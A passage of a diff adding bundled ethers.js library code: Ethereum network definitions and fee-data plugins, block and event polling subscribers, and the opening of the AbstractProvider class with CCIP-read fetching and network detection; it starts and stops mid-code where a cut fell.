**FeeDataNetworkPlugin** allows a network to provide and alternate + * means to specify its fee data. + * + * For example, a network which does not support [[link-eip-1559]] may + * choose to use a Gas Station site to approximate the gas price. + */ +class FeeDataNetworkPlugin extends NetworkPlugin { + #feeDataFunc; + /** + * The fee data function provided to the constructor. + */ + get feeDataFunc() { + return this.#feeDataFunc; + } + /** + * Creates a new **FeeDataNetworkPlugin**. + */ + constructor(feeDataFunc) { + super("org.ethers.plugins.network.FeeData"); + this.#feeDataFunc = feeDataFunc; + } + /** + * Resolves to the fee data. + */ + async getFeeData(provider) { + return await this.#feeDataFunc(provider); + } + clone() { + return new FeeDataNetworkPlugin(this.#feeDataFunc); + } +} +class FetchUrlFeeDataNetworkPlugin extends NetworkPlugin { + #url; + #processFunc; + /** + * The URL to initialize the FetchRequest with in %%processFunc%%. + */ + get url() { return this.#url; } + /** + * The callback to use when computing the FeeData. + */ + get processFunc() { return this.#processFunc; } + /** + * Creates a new **FetchUrlFeeDataNetworkPlugin** which will + * be used when computing the fee data for the network. + */ + constructor(url, processFunc) { + super("org.ethers.plugins.network.FetchUrlFeeDataPlugin"); + this.#url = url; + this.#processFunc = processFunc; + } + // We are immutable, so we can serve as our own clone + clone() { return this; } +} +/* +export class CustomBlockNetworkPlugin extends NetworkPlugin { + readonly #blockFunc: (provider: Provider, block: BlockParams) => Block; + readonly #blockWithTxsFunc: (provider: Provider, block: BlockParams) => Block; + + constructor(blockFunc: (provider: Provider, block: BlockParams) => Block, blockWithTxsFunc: (provider: Provider, block: BlockParams) => Block) { + super("org.ethers.network-plugins.custom-block"); + this.#blockFunc = blockFunc; + this.#blockWithTxsFunc = blockWithTxsFunc; + } + + async getBlock(provider: Provider, block: BlockParams): Promise> { + return await this.#blockFunc(provider, block); + } + + async getBlockions(provider: Provider, block: BlockParams): Promise> { + return await this.#blockWithTxsFunc(provider, block); + } + + clone(): CustomBlockNetworkPlugin { + return new CustomBlockNetworkPlugin(this.#blockFunc, this.#blockWithTxsFunc); + } +} +*/ + +/** + * A **Network** encapsulates the various properties required to + * interact with a specific chain. + * + * @_subsection: api/providers:Networks [networks] + */ +/* * * * +// Networks which operation against an L2 can use this plugin to +// specify how to access L1, for the purpose of resolving ENS, +// for example. +export class LayerOneConnectionPlugin extends NetworkPlugin { + readonly provider!: Provider; +// @TODO: Rename to ChainAccess and allow for connecting to any chain + constructor(provider: Provider) { + super("org.ethers.plugins.layer-one-connection"); + defineProperties(this, { provider }); + } + + clone(): LayerOneConnectionPlugin { + return new LayerOneConnectionPlugin(this.provider); + } +} +*/ +const Networks = new Map(); +/** + * A **Network** provides access to a chain's properties and allows + * for plug-ins to extend functionality. + */ +class Network { + #name; + #chainId; + #plugins; + /** + * Creates a new **Network** for %%name%% and %%chainId%%. + */ + constructor(name, chainId) { + this.#name = name; + this.#chainId = getBigInt(chainId); + this.#plugins = new Map(); + } + /** + * Returns a JSON-compatible representation of a Network. + */ + toJSON() { + return { name: this.name, chainId: String(this.chainId) }; + } + /** + * The network common name. + * + * This is the canonical name, as networks migh have multiple + * names. + */ + get name() { return this.#name; } + set name(value) { this.#name = value; } + /** + * The network chain ID. + */ + get chainId() { return this.#chainId; } + set chainId(value) { this.#chainId = getBigInt(value, "chainId"); } + /** + * Returns true if %%other%% matches this network. Any chain ID + * must match, and if no chain ID is present, the name must match. + * + * This method does not currently check for additional properties, + * such as ENS address or plug-in compatibility. + */ + matches(other) { + if (other == null) { + return false; + } + if (typeof (other) === "string") { + try { + return (this.chainId === getBigInt(other)); + } + catch (error) { } + return (this.name === other); + } + if (typeof (other) === "number" || typeof (other) === "bigint") { + try { + return (this.chainId === getBigInt(other)); + } + catch (error) { } + return false; + } + if (typeof (other) === "object") { + if (other.chainId != null) { + try { + return (this.chainId === getBigInt(other.chainId)); + } + catch (error) { } + return false; + } + if (other.name != null) { + return (this.name === other.name); + } + return false; + } + return false; + } + /** + * Returns the list of plugins currently attached to this Network. + */ + get plugins() { + return Array.from(this.#plugins.values()); + } + /** + * Attach a new %%plugin%% to this Network. The network name + * must be unique, excluding any fragment. + */ + attachPlugin(plugin) { + if (this.#plugins.get(plugin.name)) { + throw new Error(`cannot replace existing plugin: ${plugin.name} `); + } + this.#plugins.set(plugin.name, plugin.clone()); + return this; + } + /** + * Return the plugin, if any, matching %%name%% exactly. Plugins + * with fragments will not be returned unless %%name%% includes + * a fragment. + */ + getPlugin(name) { + return (this.#plugins.get(name)) || null; + } + /** + * Gets a list of all plugins that match %%name%%, with otr without + * a fragment. + */ + getPlugins(basename) { + return (this.plugins.filter((p) => (p.name.split("#")[0] === basename))); + } + /** + * Create a copy of this Network. + */ + clone() { + const clone = new Network(this.name, this.chainId); + this.plugins.forEach((plugin) => { + clone.attachPlugin(plugin.clone()); + }); + return clone; + } + /** + * Compute the intrinsic gas required for a transaction. + * + * A GasCostPlugin can be attached to override the default + * values. + */ + computeIntrinsicGas(tx) { + const costs = this.getPlugin("org.ethers.plugins.network.GasCost") || (new GasCostPlugin()); + let gas = costs.txBase; + if (tx.to == null) { + gas += costs.txCreate; + } + if (tx.data) { + for (let i = 2; i < tx.data.length; i += 2) { + if (tx.data.substring(i, i + 2) === "00") { + gas += costs.txDataZero; + } + else { + gas += costs.txDataNonzero; + } + } + } + if (tx.accessList) { + const accessList = accessListify(tx.accessList); + for (const addr in accessList) { + gas += costs.txAccessListAddress + costs.txAccessListStorageKey * accessList[addr].storageKeys.length; + } + } + return gas; + } + /** + * Returns a new Network for the %%network%% name or chainId. + */ + static from(network) { + injectCommonNetworks(); + // Default network + if (network == null) { + return Network.from("mainnet"); + } + // Canonical name or chain ID + if (typeof (network) === "number") { + network = BigInt(network); + } + if (typeof (network) === "string" || typeof (network) === "bigint") { + const networkFunc = Networks.get(network); + if (networkFunc) { + return networkFunc(); + } + if (typeof (network) === "bigint") { + return new Network("unknown", network); + } + assertArgument(false, "unknown network", "network", network); + } + // Clonable with network-like abilities + if (typeof (network.clone) === "function") { + const clone = network.clone(); + //if (typeof(network.name) !== "string" || typeof(network.chainId) !== "number") { + //} + return clone; + } + // Networkish + if (typeof (network) === "object") { + assertArgument(typeof (network.name) === "string" && typeof (network.chainId) === "number", "invalid network object name or chainId", "network", network); + const custom = new Network((network.name), (network.chainId)); + if (network.ensAddress || network.ensNetwork != null) { + custom.attachPlugin(new EnsPlugin(network.ensAddress, network.ensNetwork)); + } + //if ((network).layerOneConnection) { + // custom.attachPlugin(new LayerOneConnectionPlugin((network).layerOneConnection)); + //} + return custom; + } + assertArgument(false, "invalid network", "network", network); + } + /** + * Register %%nameOrChainId%% with a function which returns + * an instance of a Network representing that chain. + */ + static register(nameOrChainId, networkFunc) { + if (typeof (nameOrChainId) === "number") { + nameOrChainId = BigInt(nameOrChainId); + } + const existing = Networks.get(nameOrChainId); + if (existing) { + assertArgument(false, `conflicting network for ${JSON.stringify(existing.name)}`, "nameOrChainId", nameOrChainId); + } + Networks.set(nameOrChainId, networkFunc); + } +} +// We don't want to bring in formatUnits because it is backed by +// FixedNumber and we want to keep Networks tiny. The values +// included by the Gas Stations are also IEEE 754 with lots of +// rounding issues and exceed the strict checks formatUnits has. +function parseUnits(_value, decimals) { + const value = String(_value); + if (!value.match(/^[0-9.]+$/)) { + throw new Error(`invalid gwei value: ${_value}`); + } + // Break into [ whole, fraction ] + const comps = value.split("."); + if (comps.length === 1) { + comps.push(""); + } + // More than 1 decimal point or too many fractional positions + if (comps.length !== 2) { + throw new Error(`invalid gwei value: ${_value}`); + } + // Pad the fraction to 9 decimalplaces + while (comps[1].length < decimals) { + comps[1] += "0"; + } + // Too many decimals and some non-zero ending, take the ceiling + if (comps[1].length > 9) { + let frac = BigInt(comps[1].substring(0, 9)); + if (!comps[1].substring(9).match(/^0+$/)) { + frac++; + } + comps[1] = frac.toString(); + } + return BigInt(comps[0] + comps[1]); +} +// Used by Polygon to use a gas station for fee data +function getGasStationPlugin(url) { + return new FetchUrlFeeDataNetworkPlugin(url, async (fetchFeeData, provider, request) => { + // Prevent Cloudflare from blocking our request in node.js + request.setHeader("User-Agent", "ethers"); + let response; + try { + const [_response, _feeData] = await Promise.all([ + request.send(), fetchFeeData() + ]); + response = _response; + const payload = response.bodyJson.standard; + const feeData = { + gasPrice: _feeData.gasPrice, + maxFeePerGas: parseUnits(payload.maxFee, 9), + maxPriorityFeePerGas: parseUnits(payload.maxPriorityFee, 9), + }; + return feeData; + } + catch (error) { + assert(false, `error encountered with polygon gas station (${JSON.stringify(request.url)})`, "SERVER_ERROR", { request, response, error }); + } + }); +} +// See: https://chainlist.org +let injected = false; +function injectCommonNetworks() { + if (injected) { + return; + } + injected = true; + /// Register popular Ethereum networks + function registerEth(name, chainId, options) { + const func = function () { + const network = new Network(name, chainId); + // We use 0 to disable ENS + if (options.ensNetwork != null) { + network.attachPlugin(new EnsPlugin(null, options.ensNetwork)); + } + network.attachPlugin(new GasCostPlugin()); + (options.plugins || []).forEach((plugin) => { + network.attachPlugin(plugin); + }); + return network; + }; + // Register the network by name and chain ID + Network.register(name, func); + Network.register(chainId, func); + if (options.altNames) { + options.altNames.forEach((name) => { + Network.register(name, func); + }); + } + } + registerEth("mainnet", 1, { ensNetwork: 1, altNames: ["homestead"] }); + registerEth("ropsten", 3, { ensNetwork: 3 }); + registerEth("rinkeby", 4, { ensNetwork: 4 }); + registerEth("goerli", 5, { ensNetwork: 5 }); + registerEth("kovan", 42, { ensNetwork: 42 }); + registerEth("sepolia", 11155111, { ensNetwork: 11155111 }); + registerEth("holesky", 17000, { ensNetwork: 17000 }); + registerEth("classic", 61, {}); + registerEth("classicKotti", 6, {}); + registerEth("arbitrum", 42161, { + ensNetwork: 1, + }); + registerEth("arbitrum-goerli", 421613, {}); + registerEth("arbitrum-sepolia", 421614, {}); + registerEth("base", 8453, { ensNetwork: 1 }); + registerEth("base-goerli", 84531, {}); + registerEth("base-sepolia", 84532, {}); + registerEth("bnb", 56, { ensNetwork: 1 }); + registerEth("bnbt", 97, {}); + registerEth("linea", 59144, { ensNetwork: 1 }); + registerEth("linea-goerli", 59140, {}); + registerEth("linea-sepolia", 59141, {}); + registerEth("matic", 137, { + ensNetwork: 1, + plugins: [ + getGasStationPlugin("https:/\/gasstation.polygon.technology/v2") + ] + }); + registerEth("matic-amoy", 80002, {}); + registerEth("matic-mumbai", 80001, { + altNames: ["maticMumbai", "maticmum"], + plugins: [ + getGasStationPlugin("https:/\/gasstation-testnet.polygon.technology/v2") + ] + }); + registerEth("optimism", 10, { + ensNetwork: 1, + plugins: [] + }); + registerEth("optimism-goerli", 420, {}); + registerEth("optimism-sepolia", 11155420, {}); + registerEth("xdai", 100, { ensNetwork: 1 }); +} + +function copy$2(obj) { + return JSON.parse(JSON.stringify(obj)); +} +// @TODO: refactor this +/** + * A **PollingBlockSubscriber** polls at a regular interval for a change + * in the block number. + * + * @_docloc: api/providers/abstract-provider + */ +class PollingBlockSubscriber { + #provider; + #poller; + #interval; + // The most recent block we have scanned for events. The value -2 + // indicates we still need to fetch an initial block number + #blockNumber; + /** + * Create a new **PollingBlockSubscriber** attached to %%provider%%. + */ + constructor(provider) { + this.#provider = provider; + this.#poller = null; + this.#interval = 4000; + this.#blockNumber = -2; + } + /** + * The polling interval. + */ + get pollingInterval() { return this.#interval; } + set pollingInterval(value) { this.#interval = value; } + async #poll() { + try { + const blockNumber = await this.#provider.getBlockNumber(); + // Bootstrap poll to setup our initial block number + if (this.#blockNumber === -2) { + this.#blockNumber = blockNumber; + return; + } + // @TODO: Put a cap on the maximum number of events per loop? + if (blockNumber !== this.#blockNumber) { + for (let b = this.#blockNumber + 1; b <= blockNumber; b++) { + // We have been stopped + if (this.#poller == null) { + return; + } + await this.#provider.emit("block", b); + } + this.#blockNumber = blockNumber; + } + } + catch (error) { + // @TODO: Minor bump, add an "error" event to let subscribers + // know things went awry. + //console.log(error); + } + // We have been stopped + if (this.#poller == null) { + return; + } + this.#poller = this.#provider._setTimeout(this.#poll.bind(this), this.#interval); + } + start() { + if (this.#poller) { + return; + } + this.#poller = this.#provider._setTimeout(this.#poll.bind(this), this.#interval); + this.#poll(); + } + stop() { + if (!this.#poller) { + return; + } + this.#provider._clearTimeout(this.#poller); + this.#poller = null; + } + pause(dropWhilePaused) { + this.stop(); + if (dropWhilePaused) { + this.#blockNumber = -2; + } + } + resume() { + this.start(); + } +} +/** + * An **OnBlockSubscriber** can be sub-classed, with a [[_poll]] + * implmentation which will be called on every new block. + * + * @_docloc: api/providers/abstract-provider + */ +class OnBlockSubscriber { + #provider; + #poll; + #running; + /** + * Create a new **OnBlockSubscriber** attached to %%provider%%. + */ + constructor(provider) { + this.#provider = provider; + this.#running = false; + this.#poll = (blockNumber) => { + this._poll(blockNumber, this.#provider); + }; + } + /** + * Called on every new block. + */ + async _poll(blockNumber, provider) { + throw new Error("sub-classes must override this"); + } + start() { + if (this.#running) { + return; + } + this.#running = true; + this.#poll(-2); + this.#provider.on("block", this.#poll); + } + stop() { + if (!this.#running) { + return; + } + this.#running = false; + this.#provider.off("block", this.#poll); + } + pause(dropWhilePaused) { this.stop(); } + resume() { this.start(); } +} +class PollingBlockTagSubscriber extends OnBlockSubscriber { + #tag; + #lastBlock; + constructor(provider, tag) { + super(provider); + this.#tag = tag; + this.#lastBlock = -2; + } + pause(dropWhilePaused) { + if (dropWhilePaused) { + this.#lastBlock = -2; + } + super.pause(dropWhilePaused); + } + async _poll(blockNumber, provider) { + const block = await provider.getBlock(this.#tag); + if (block == null) { + return; + } + if (this.#lastBlock === -2) { + this.#lastBlock = block.number; + } + else if (block.number > this.#lastBlock) { + provider.emit(this.#tag, block.number); + this.#lastBlock = block.number; + } + } +} +/** + * @_ignore: + * + * @_docloc: api/providers/abstract-provider + */ +class PollingOrphanSubscriber extends OnBlockSubscriber { + #filter; + constructor(provider, filter) { + super(provider); + this.#filter = copy$2(filter); + } + async _poll(blockNumber, provider) { + throw new Error("@TODO"); + } +} +/** + * A **PollingTransactionSubscriber** will poll for a given transaction + * hash for its receipt. + * + * @_docloc: api/providers/abstract-provider + */ +class PollingTransactionSubscriber extends OnBlockSubscriber { + #hash; + /** + * Create a new **PollingTransactionSubscriber** attached to + * %%provider%%, listening for %%hash%%. + */ + constructor(provider, hash) { + super(provider); + this.#hash = hash; + } + async _poll(blockNumber, provider) { + const tx = await provider.getTransactionReceipt(this.#hash); + if (tx) { + provider.emit(this.#hash, tx); + } + } +} +/** + * A **PollingEventSubscriber** will poll for a given filter for its logs. + * + * @_docloc: api/providers/abstract-provider + */ +class PollingEventSubscriber { + #provider; + #filter; + #poller; + #running; + // The most recent block we have scanned for events. The value -2 + // indicates we still need to fetch an initial block number + #blockNumber; + /** + * Create a new **PollingTransactionSubscriber** attached to + * %%provider%%, listening for %%filter%%. + */ + constructor(provider, filter) { + this.#provider = provider; + this.#filter = copy$2(filter); + this.#poller = this.#poll.bind(this); + this.#running = false; + this.#blockNumber = -2; + } + async #poll(blockNumber) { + // The initial block hasn't been determined yet + if (this.#blockNumber === -2) { + return; + } + const filter = copy$2(this.#filter); + filter.fromBlock = this.#blockNumber + 1; + filter.toBlock = blockNumber; + const logs = await this.#provider.getLogs(filter); + // No logs could just mean the node has not indexed them yet, + // so we keep a sliding window of 60 blocks to keep scanning + if (logs.length === 0) { + if (this.#blockNumber < blockNumber - 60) { + this.#blockNumber = blockNumber - 60; + } + return; + } + for (const log of logs) { + this.#provider.emit(this.#filter, log); + // Only advance the block number when logs were found to + // account for networks (like BNB and Polygon) which may + // sacrifice event consistency for block event speed + this.#blockNumber = log.blockNumber; + } + } + start() { + if (this.#running) { + return; + } + this.#running = true; + if (this.#blockNumber === -2) { + this.#provider.getBlockNumber().then((blockNumber) => { + this.#blockNumber = blockNumber; + }); + } + this.#provider.on("block", this.#poller); + } + stop() { + if (!this.#running) { + return; + } + this.#running = false; + this.#provider.off("block", this.#poller); + } + pause(dropWhilePaused) { + this.stop(); + if (dropWhilePaused) { + this.#blockNumber = -2; + } + } + resume() { + this.start(); + } +} + +/** + * The available providers should suffice for most developers purposes, + * but the [[AbstractProvider]] class has many features which enable + * sub-classing it for specific purposes. + * + * @_section: api/providers/abstract-provider: Subclassing Provider [abstract-provider] + */ +// @TODO +// Event coalescence +// When we register an event with an async value (e.g. address is a Signer +// or ENS name), we need to add it immeidately for the Event API, but also +// need time to resolve the address. Upon resolving the address, we need to +// migrate the listener to the static event. We also need to maintain a map +// of Signer/ENS name to address so we can sync respond to listenerCount. +// Constants +const BN_2$1 = BigInt(2); +const MAX_CCIP_REDIRECTS = 10; +function isPromise$1(value) { + return (value && typeof (value.then) === "function"); +} +function getTag(prefix, value) { + return prefix + ":" + JSON.stringify(value, (k, v) => { + if (v == null) { + return "null"; + } + if (typeof (v) === "bigint") { + return `bigint:${v.toString()}`; + } + if (typeof (v) === "string") { + return v.toLowerCase(); + } + // Sort object keys + if (typeof (v) === "object" && !Array.isArray(v)) { + const keys = Object.keys(v); + keys.sort(); + return keys.reduce((accum, key) => { + accum[key] = v[key]; + return accum; + }, {}); + } + return v; + }); +} +/** + * An **UnmanagedSubscriber** is useful for events which do not require + * any additional management, such as ``"debug"`` which only requires + * emit in synchronous event loop triggered calls. + */ +class UnmanagedSubscriber { + /** + * The name fof the event. + */ + name; + /** + * Create a new UnmanagedSubscriber with %%name%%. + */ + constructor(name) { defineProperties(this, { name }); } + start() { } + stop() { } + pause(dropWhilePaused) { } + resume() { } +} +function copy$1(value) { + return JSON.parse(JSON.stringify(value)); +} +function concisify(items) { + items = Array.from((new Set(items)).values()); + items.sort(); + return items; +} +async function getSubscription(_event, provider) { + if (_event == null) { + throw new Error("invalid event"); + } + // Normalize topic array info an EventFilter + if (Array.isArray(_event)) { + _event = { topics: _event }; + } + if (typeof (_event) === "string") { + switch (_event) { + case "block": + case "debug": + case "error": + case "finalized": + case "network": + case "pending": + case "safe": { + return { type: _event, tag: _event }; + } + } + } + if (isHexString(_event, 32)) { + const hash = _event.toLowerCase(); + return { type: "transaction", tag: getTag("tx", { hash }), hash }; + } + if (_event.orphan) { + const event = _event; + // @TODO: Should lowercase and whatnot things here instead of copy... + return { type: "orphan", tag: getTag("orphan", event), filter: copy$1(event) }; + } + if ((_event.address || _event.topics)) { + const event = _event; + const filter = { + topics: ((event.topics || []).map((t) => { + if (t == null) { + return null; + } + if (Array.isArray(t)) { + return concisify(t.map((t) => t.toLowerCase())); + } + return t.toLowerCase(); + })) + }; + if (event.address) { + const addresses = []; + const promises = []; + const addAddress = (addr) => { + if (isHexString(addr)) { + addresses.push(addr); + } + else { + promises.push((async () => { + addresses.push(await resolveAddress(addr, provider)); + })()); + } + }; + if (Array.isArray(event.address)) { + event.address.forEach(addAddress); + } + else { + addAddress(event.address); + } + if (promises.length) { + await Promise.all(promises); + } + filter.address = concisify(addresses.map((a) => a.toLowerCase())); + } + return { filter, tag: getTag("event", filter), type: "event" }; + } + assertArgument(false, "unknown ProviderEvent", "event", _event); +} +function getTime$1() { return (new Date()).getTime(); } +const defaultOptions$1 = { + cacheTimeout: 250, + pollingInterval: 4000 +}; +/** + * An **AbstractProvider** provides a base class for other sub-classes to + * implement the [[Provider]] API by normalizing input arguments and + * formatting output results as well as tracking events for consistent + * behaviour on an eventually-consistent network. + */ +class AbstractProvider { + #subs; + #plugins; + // null=unpaused, true=paused+dropWhilePaused, false=paused + #pausedState; + #destroyed; + #networkPromise; + #anyNetwork; + #performCache; + // The most recent block number if running an event or -1 if no "block" event + #lastBlockNumber; + #nextTimer; + #timers; + #disableCcipRead; + #options; + /** + * Create a new **AbstractProvider** connected to %%network%%, or + * use the various network detection capabilities to discover the + * [[Network]] if necessary. + */ + constructor(_network, options) { + this.#options = Object.assign({}, defaultOptions$1, options || {}); + if (_network === "any") { + this.#anyNetwork = true; + this.#networkPromise = null; + } + else if (_network) { + const network = Network.from(_network); + this.#anyNetwork = false; + this.#networkPromise = Promise.resolve(network); + setTimeout(() => { this.emit("network", network, null); }, 0); + } + else { + this.#anyNetwork = false; + this.#networkPromise = null; + } + this.#lastBlockNumber = -1; + this.#performCache = new Map(); + this.#subs = new Map(); + this.#plugins = new Map(); + this.#pausedState = null; + this.#destroyed = false; + this.#nextTimer = 1; + this.#timers = new Map(); + this.#disableCcipRead = false; + } + get pollingInterval() { return this.#options.pollingInterval; } + /** + * Returns ``this``, to allow an **AbstractProvider** to implement + * the [[ContractRunner]] interface. + */ + get provider() { return this; } + /** + * Returns all the registered plug-ins. + */ + get plugins() { + return Array.from(this.#plugins.values()); + } + /** + * Attach a new plug-in. + */ + attachPlugin(plugin) { + if (this.#plugins.get(plugin.name)) { + throw new Error(`cannot replace existing plugin: ${plugin.name} `); + } + this.#plugins.set(plugin.name, plugin.connect(this)); + return this; + } + /** + * Get a plugin by name. + */ + getPlugin(name) { + return (this.#plugins.get(name)) || null; + } + /** + * Prevent any CCIP-read operation, regardless of whether requested + * in a [[call]] using ``enableCcipRead``. + */ + get disableCcipRead() { return this.#disableCcipRead; } + set disableCcipRead(value) { this.#disableCcipRead = !!value; } + // Shares multiple identical requests made during the same 250ms + async #perform(req) { + const timeout = this.#options.cacheTimeout; + // Caching disabled + if (timeout < 0) { + return await this._perform(req); + } + // Create a tag + const tag = getTag(req.method, req); + let perform = this.#performCache.get(tag); + if (!perform) { + perform = this._perform(req); + this.#performCache.set(tag, perform); + setTimeout(() => { + if (this.#performCache.get(tag) === perform) { + this.#performCache.delete(tag); + } + }, timeout); + } + return await perform; + } + /** + * Resolves to the data for executing the CCIP-read operations. + */ + async ccipReadFetch(tx, calldata, urls) { + if (this.disableCcipRead || urls.length === 0 || tx.to == null) { + return null; + } + const sender = tx.to.toLowerCase(); + const data = calldata.toLowerCase(); + const errorMessages = []; + for (let i = 0; i < urls.length; i++) { + const url = urls[i]; + // URL expansion + const href = url.replace("{sender}", sender).replace("{data}", data); + // If no {data} is present, use POST; otherwise GET + //const json: string | null = (url.indexOf("{data}") >= 0) ? null: JSON.stringify({ data, sender }); + //const result = await fetchJson({ url: href, errorPassThrough: true }, json, (value, response) => { + // value.status = response.statusCode; + // return value; + //}); + const request = new FetchRequest(href); + if (url.indexOf("{data}") === -1) { + request.body = { data, sender }; + } + this.emit("debug", { action: "sendCcipReadFetchRequest", request, index: i, urls }); + let errorMessage = "unknown error"; + // Fetch the resource... + let resp; + try { + resp = await request.send(); + } + catch (error) { + // ...low-level fetch error (missing host, bad SSL, etc.), + // so try next URL + errorMessages.push(error.message); + this.emit("debug", { action: "receiveCcipReadFetchError", request, result: { error } }); + continue; + } + try { + const result = resp.bodyJson; + if (result.data) { + this.emit("debug", { action: "receiveCcipReadFetchResult", request, result }); + return result.data; + } + if (result.message) { + errorMessage = result.message; + } + this.emit("debug", { action: "receiveCcipReadFetchError", request, result }); + } + catch (error) { } + // 4xx indicates the result is not present; stop + assert(resp.statusCode < 400 || resp.statusCode >= 500, `response not found during CCIP fetch: ${errorMessage}`, "OFFCHAIN_FAULT", { reason: "404_MISSING_RESOURCE", transaction: tx, info: { url, errorMessage } }); + // 5xx indicates server issue; try the next url + errorMessages.push(errorMessage); + } + assert(false, `error encountered during CCIP fetch: ${errorMessages.map((m) => JSON.stringify(m)).join(", ")}`, "OFFCHAIN_FAULT", { + reason: "500_SERVER_ERROR", + transaction: tx, info: { urls, errorMessages } + }); + } + /** + * Provides the opportunity for a sub-class to wrap a block before + * returning it, to add additional properties or an alternate + * sub-class of [[Block]]. + */ + _wrapBlock(value, network) { + return new Block(formatBlock(value), this); + } + /** + * Provides the opportunity for a sub-class to wrap a log before + * returning it, to add additional properties or an alternate + * sub-class of [[Log]]. + */ + _wrapLog(value, network) { + return new Log(formatLog(value), this); + } + /** + * Provides the opportunity for a sub-class to wrap a transaction + * receipt before returning it, to add additional properties or an + * alternate sub-class of [[TransactionReceipt]]. + */ + _wrapTransactionReceipt(value, network) { + return new TransactionReceipt(formatTransactionReceipt(value), this); + } + /** + * Provides the opportunity for a sub-class to wrap a transaction + * response before returning it, to add additional properties or an + * alternate sub-class of [[TransactionResponse]]. + */ + _wrapTransactionResponse(tx, network) { + return new TransactionResponse(formatTransactionResponse(tx), this); + } + /** + * Resolves to the Network, forcing a network detection using whatever + * technique the sub-class requires. + * + * Sub-classes **must** override this. + */ + _detectNetwork() { + assert(false, "sub-classes must implement this", "UNSUPPORTED_OPERATION", { + operation: "_detectNetwork" + }); + } + /** + * Sub-classes should use this to perform all built-in operations. All + * methods sanitizes and normalizes the values passed into this. + * + * Sub-classes **must** override this. + */ + async _perform(req) { + assert(false, `unsupported method: ${req.method}`, "UNSUPPORTED_OPERATION", { + operation: req.method, + info: req + }); + } + // State + async getBlockNumber() { + const blockNumber = getNumber(await this.#perform({ method: "getBlockNumber" }), "%response"); + if (this.#lastBlockNumber >= 0) { + this.#lastBlockNumber = blockNumber; + } + return blockNumber; + } + /** + * Returns or resolves to the address for %%address%%, resolving ENS + * names and [[Addressable]] objects and returning if already an + * address. + */ + _getAddress(address) { + return resolveAddress(address, this); + } + /** + * Returns or resolves to a valid block tag for %%blockTag%%, resolving + * negative values and returning if already a valid block tag. + */ + _getBlockTag(blockTag) { + if (blockTag == null) { + return "latest"; + } + switch (blockTag) { + case "earliest": + return "0x0"; + case "finalized": + case "latest": + case "pending": + case "safe": + return blockTag; + } + if (isHexString(blockTag)) { + if (isHexString(blockTag, 32)) { + return blockTag; + } + return toQuantity(blockTag); + } + if (typeof (blockTag) === "bigint") { + blockTag = getNumber(blockTag, "blockTag"); + } + if (typeof (blockTag) === "number") { + if (blockTag >= 0) { + return toQuantity(blockTag); + } + if (this.#lastBlockNumber >= 0) { + return toQuantity(this.#lastBlockNumber + blockTag); + } + return this.getBlockNumber().then((b) => toQuantity(b + blockTag)); + } + assertArgument(false, "invalid blockTag", "blockTag", blockTag); + } + /** + * Returns or resolves to a filter for %%filter%%, resolving any ENS + * names or [[Addressable]] object and returning if already a valid + * filter. + */ + _getFilter(filter) { + // Create a canonical representation of the topics + const topics = (filter.topics || []).map((t) => { + if (t == null) { + return null; + } + if (Array.isArray(t)) { + return concisify(t.map((t) => t.toLowerCase())); + } + return t.toLowerCase(); + }); + const blockHash = ("blockHash" in filter) ? filter.blockHash : undefined; + const resolve = (_address, fromBlock, toBlock) => { + let address = undefined; + switch (_address.length) { + case 0: break; + case 1: + address = _address[0]; + break; + default: + _address.sort(); + address = _address; + } + if (blockHash) { + if (fromBlock != null || toBlock != null) { + throw new Error("invalid filter"); + } + } + const filter = {}; + if (address) { + filter.address = address; + } + if (topics.length) { + filter.topics = topics; + } + if (fromBlock) { + filter.fromBlock = fromBlock; + } + if (toBlock) { + filter.toBlock = toBlock; + } + if (blockHash) { + filter.blockHash = blockHash; + } + return filter; + }; + // Addresses could be async (ENS names or Addressables) + let address = []; + if (filter.address) { + if (Array.isArray(filter.address)) { + for (const addr of filter.address) { + address.push(this._getAddress(addr)); + } + } + else { + address.push(this._getAddress(filter.address)); + } + } + let fromBlock = undefined; + if ("fromBlock" in filter) { + fromBlock = this._getBlockTag(filter.fromBlock); + } + let toBlock = undefined; + if ("toBlock" in filter) { + toBlock = this._getBlockTag(filter.toBlock); + } + if (address.filter((a) => (typeof (a) !== "string")).length || + (fromBlock != null && typeof (fromBlock) !== "string") || + (toBlock != null && typeof (toBlock) !== "string")) { + return Promise.all([Promise.all(address), fromBlock, toBlock]).then((result) => { + return resolve(result[0], result[1], result[2]); + }); + } + return resolve(address, fromBlock, toBlock); + } + /** + * Returns or resolves to a transaction for %%request%%, resolving + * any ENS names or [[Addressable]] and returning if already a valid + * transaction. + */ + _getTransactionRequest(_request) { + const request = copyRequest(_request); + const promises = []; + ["to", "from"].forEach((key) => { + if (request[key] == null) { + return; + } + const addr = resolveAddress(request[key], this); + if (isPromise$1(addr)) { + promises.push((async function () { request[key] = await addr; })()); + } + else { + request[key] = addr; + } + }); + if (request.blockTag != null) { + const blockTag = this._getBlockTag(request.blockTag); + if (isPromise$1(blockTag)) { + promises.push((async function () { request.blockTag = await blockTag; })()); + } + else { + request.blockTag = blockTag; + } + } + if (promises.length) { + return (async function () { + await Promise.all(promises); + return request; + })(); + } + return request; + } + async getNetwork() { + // No explicit network was set and this is our first time + if (this.#networkPromise == null) { + // Detect the current network (shared with all calls) + const detectNetwork = (async () => { + try { + const network = await this._detectNetwork(); + this.emit("network", network, null); + return network; + } + catch (error) { + if (this.#networkPromise === detectNetwork) { + this.#networkPromise = null; + } + throw error; + } + })(); + this.#networkPromise = detectNetwork; + return (await detectNetwork).clone(); + } + const networkPromise = this.#networkPromise; + const [expected, actual] = await Promise.all([ + networkPromise, + this._detectNetwork() // The actual connected network + ]); + if (expected.chainId !== actual.chainId) { + if (this.#anyNetwork) { + // The "any" network can change, so notify listeners + this.emit("network", actual, expected); + // Update the network if something else hasn't already changed it + if (this.#networkPromise === networkPromise) { + this.#networkPromise = Promise.resolve(actual); + } + } + else { + // Otherwise, we do not allow changes to the underlying network + assert(false, `network changed: ${expected.chainId} => ${actual.chainId} `, "NETWORK_ERROR", { + event: "changed" + }); + } + } + return expected.clone(); + } + async getFeeData() { + const network = await this.getNetwork(); + const getFeeDataFunc = async () => { + const { _block, gasPrice, priorityFee } = await resolveProperties({ + _block: this.#getBlock("latest", false), + gasPrice: ((async () => { + try { + const value = await this.#perform({ method: "getGasPrice" }); + return getBigInt(value, "%response"); + } + catch (error) { } + return null; + })()), + priorityFee: ((async () => { + try { + const value = await this.#perform({ method: "getPriorityFee" }); + return getBigInt(value, "%response"); + } + catch (error) { } + return null; + })()) + }); + let maxFeePerGas = null; + let maxPriorityFeePerGas = null; + // These are the recommended EIP-1559 heuristics for fee data + const block = this._wrapBlock(_block, network); + if (block && block.baseFeePerGas) { + 